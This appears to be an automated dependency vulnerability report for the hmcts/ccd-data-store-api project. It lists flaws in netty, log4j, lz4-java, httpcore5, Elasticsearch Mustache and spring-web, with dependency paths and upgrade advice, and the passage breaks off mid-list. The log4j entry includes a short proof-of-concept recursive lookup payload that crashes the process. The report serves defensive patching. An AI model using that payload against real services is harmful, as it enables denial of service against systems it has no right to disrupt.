Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec@4.1.16.FinalRemediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
io.netty:netty-codec is an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Denial of Service (DoS). Bzip2Decoder doesn't allow setting size restrictions for decompressed data. An attacker can exploit this by providing a compressed file that, when decompressed, triggers an out-of-memory exception.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade io.netty:netty-codec to version 4.1.68.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.FinalRemediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling due to the package mishandling Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header when using HTTP/1.1. This issue exists because of an incomplete fix for CVE-2019-16869.
NOTE: This vulnerability has also been identified as: CVE-2019-20445
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.FinalRemediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling. It allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax or as an "invalid fold."
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.FinalRemediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling due to the package mishandling Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header when using HTTP/1.1. This issue exists because of an incomplete fix for CVE-2019-16869.
NOTE: This vulnerability has also been identified as: CVE-2020-7238
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.
References
high severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to org.elasticsearch:elasticsearch@9.5.5.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.
When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.
PoC
In log4j.properties:
appender.console.type = Console
appender.console.name = console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = !${ctx:test}! %m%n
rootLogger.level = ALL
rootLogger.appenderRef.file.ref = console
In Main.java:
ThreadContext.put("test", "${::-${ctx:test}}");
logger.error("boom"); // Will not be logged
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.3, 2.17.0 or higher.
References
high severity
new
- Vulnerable module: at.yawk.lz4:lz4-java
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
Overview
Affected versions of this package are vulnerable to Insecure Temporary File in the process that extracts and loads the native library via net.jpountz.util.Native.load. An attacker can execute arbitrary code by pre-creating a malicious file in a shared temporary directory, causing the victim process to load attacker-controlled code. This is only exploitable if the temporary directory is shared and writable by multiple users, and system protections such as fs.protected_regular or fs.protected_symlinks are not enabled, or if the temporary directory lacks the sticky bit or is shared across users in containers.
Remediation
Upgrade at.yawk.lz4:lz4-java to version 1.11.4 or higher.
References
high severity
new
- Vulnerable module: at.yawk.lz4:lz4-java
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through repeated allocation of large buffers in the LZ4FrameInputStream.readHeader process. An attacker can cause excessive CPU and garbage collection usage by providing specially crafted input consisting of many minimal empty frames, leading to significant resource consumption relative to the input size.
Remediation
Upgrade at.yawk.lz4:lz4-java to version 1.11.4 or higher.
References
high severity
- Vulnerable module: org.apache.httpcomponents.core5:httpcore5-h2
- Introduced through: org.apache.httpcomponents.core5:httpcore5-h2@httpcore5Version
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.apache.httpcomponents.core5:httpcore5-h2@httpcore5VersionRemediation: Upgrade to org.apache.httpcomponents.core5:httpcore5-h2@5.4.3.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced limits in the HPackDecoder process. An attacker can exhaust system memory by sending oversized compressed header blocks before the HTTP/2 SETTINGS acknowledgement applies the configured header list size limit.
Remediation
Upgrade org.apache.httpcomponents.core5:httpcore5-h2 to version 5.4.3, 5.5-beta2 or higher.
References
high severity
- Vulnerable module: org.elasticsearch.plugin:lang-mustache-client
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:lang-mustache-client@6.3.1Remediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) via specifically crafted search templates with Mustache functions. An attacker can cause the Elasticsearch node to crash by sending malicious search templates.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.elasticsearch.plugin:lang-mustache-client to version 7.17.25 or higher.
References
high severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.github.openfeign.form:feign-form-spring@3.8.0 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-servlet@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework.cloud:spring-cloud-openfeign-core@5.1.0-RC1 › io.github.openfeign:feign-form-spring@13.17 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-security@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the Errors.getFieldErrors() or Errors.getFieldError() accessors when rendering field errors with HTML escaping enabled. An attacker can inject arbitrary HTML or JavaScript code by supplying crafted input that is not properly escaped.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade org.springframework:spring-web to version 7.0.9 or higher.
References
high severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.github.openfeign.form:feign-form-spring@3.8.0 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-servlet@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework.cloud:spring-cloud-openfeign-core@5.1.0-RC1 › io.github.openfeign:feign-form-spring@13.17 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-security@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
